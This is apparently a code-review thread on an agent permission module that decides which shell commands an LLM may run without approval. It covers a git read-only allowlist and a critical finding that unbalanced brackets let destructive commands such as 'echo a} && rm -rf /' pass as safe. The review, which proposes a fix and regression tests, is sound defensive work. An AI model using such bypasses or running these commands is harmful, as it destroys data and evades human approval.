	'ls-remote',
	'ls-tree',
	'blame',
	'shortlog',
	'describe',
	'reflog',
	'worktree',
	'fetch',
	'help',
	'--version',
	'--help',
	'whatchanged',
	'cat-file',
	'show-ref',
	'symbolic-ref',
	'name-rev',
	'count-objects',
	'fsck',
	'grep',
	])
	// stash is safe only for read subcommands (list, show). Bare `git stash`
	// is equivalent to `git stash push` — mutates the working tree.
	if (sub === 'stash') {
	const rest = args.slice(1)
	return rest[0] === 'list' || rest[0] === 'show'
	}
	if (!READ_ONLY_SUBCOMMANDS.has(sub)) return false
	// `git branch -D`, `git branch --delete`, `git tag -d`, etc. mutate.
	return !args.some(
	a =>
	a === '-D' ||
	a === '--delete' ||
	a === '--force-delete' ||
	a === 'drop' ||
	a === 'clear' ||
	a === '-d' && sub === 'branch' ||
	a === '-d' && sub === 'tag' ||
	a === '-m' && sub === 'stash',
	)
	},
	git: args => {
	if (args.length === 0) return true // `git` alone shows usage
	const sub = args[0]
	const READ_ONLY_SUBCOMMANDS = new Set([
	'status',
	'log',
	'diff',
	'show',
	'branch',
	'tag',
	'remote',
	'rev-parse',
	'rev-list',
	'ls-files',
	'ls-remote',
	'ls-tree',
	'blame',
	'shortlog',
	'describe',
	'reflog',
	'worktree',
	'fetch',
	'help',
	'--version',
	'--help',
	'whatchanged',
	'cat-file',
	'show-ref',
	'symbolic-ref',
	'name-rev',
	'count-objects',
	'fsck',
	'grep',
	])
	// stash is safe only for read subcommands (list, show). Bare `git stash`
	// is equivalent to `git stash push` — mutates the working tree.
	if (sub === 'stash') {
	const rest = args.slice(1)
	return rest[0] === 'list' || rest[0] === 'show'
	}
	// worktree is safe only for list and list-all (read operations).
	// add, remove, move, prune mutate the working directory.
	if (sub === 'worktree') {
	const rest = args.slice(1)
	return rest[0] === 'list' || rest[0] === 'list-all'
	}
	// reflog is safe only for show (read operation).
	// expire and delete mutate the reflog database.
	if (sub === 'reflog') {
	const rest = args.slice(1)
	return rest[0] === 'show'
	}
	if (!READ_ONLY_SUBCOMMANDS.has(sub)) return false
	// `git branch -D`, `git branch --delete`, `git tag -d`, etc. mutate.
	return !args.some(
	a =>
	a === '-D' ||
	a === '--delete' ||
	a === '--force-delete' ||
	a === 'drop' ||
	a === 'clear' ||
	a === '-d' && sub === 'branch' ||
	a === '-d' && sub === 'tag' ||
	a === '-m' && sub === 'stash',
	)
	},

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/utils/permissions/bashCommandSafety.ts` around lines 162 - 215, The git
function has `worktree` and `reflog` in READ_ONLY_SUBCOMMANDS, but these
subcommands have mutating forms like `git worktree add`, `git worktree remove
--force`, `git reflog expire`, and `git reflog delete` that should not be
allowed. Add special case checks for both `worktree` and `reflog` subcommands
that mirror the existing stash handling pattern - add conditional blocks that
only allow specific safe sub-operations like `list` and `show` for these
commands, and return false for other variants that would mutate state. This
should be done before the general READ_ONLY_SUBCOMMANDS check.

Source: Path instructions

[coderabbitai]

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

CRITICAL — Unbalanced parens/braces disable compound splitting → safe bypass.

parenDepth is decremented unconditionally on }/) and incremented on unmatched (/{, but the operator split only fires when parenDepth === 0. An unbalanced close pushes depth negative (or an unbalanced open keeps it positive), so top-level &&/;/|/newline are no longer split — the whole line collapses into one leaf.

echo a} && rm -rf / → depth goes to -1 at } → && never splits → single echo leaf → SAFE. The worst-case dominance is silently defeated and rm -rf / rides through.

This sits exactly on the LLM→shell trust boundary, so a false safe here auto-approves destructive commands.

Minimum fix is to clamp the depth so it can't go negative, and treat a left-over imbalance as unknown rather than collapsing into a benign leaf:

🔒 Proposed fix

       if (c === ')' || c === '}') {
-        parenDepth--
+        if (parenDepth > 0) parenDepth--
         current += c
         i++
         continue
       }

Additionally consider degrading to unknown when parenDepth !== 0 after the loop (unbalanced open paren such as echo ( && rm -rf / otherwise still swallows the operator). A regression test for echo a} && rm -rf / and echo ( && rm -rf / should accompany the fix.

As per path instructions, permission/sandbox paths must block on "bypasses ... or changes that broaden allowed behavior."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/utils/permissions/bashCommandSafety.ts` around lines 592 - 618, The
parenDepth counter in the operator splitting logic can go negative when
encountering unbalanced closing brackets, which silently disables operator
detection at the top level (parenDepth === 0 check). This allows dangerous
operators like && and | to hide inside what appears to be a benign command leaf.
Fix this by preventing parenDepth from going below zero when decrementing on
close brackets (clamp it to 0), and after the main parsing loop completes, check
if parenDepth is not zero (indicating unbalanced open brackets). If parenDepth
is non-zero at the end, return unknown safety status rather than proceeding to
mark the command as safe, since an imbalanced structure indicates a parsing
failure. Add regression tests for both cases: unbalanced closing brackets like
echo a} && rm -rf / and unbalanced opening brackets like echo ( && rm -rf / to
ensure neither can bypass the safety check.

Source: Path instructions

[kevincodex1]

not relevant anymore closing this .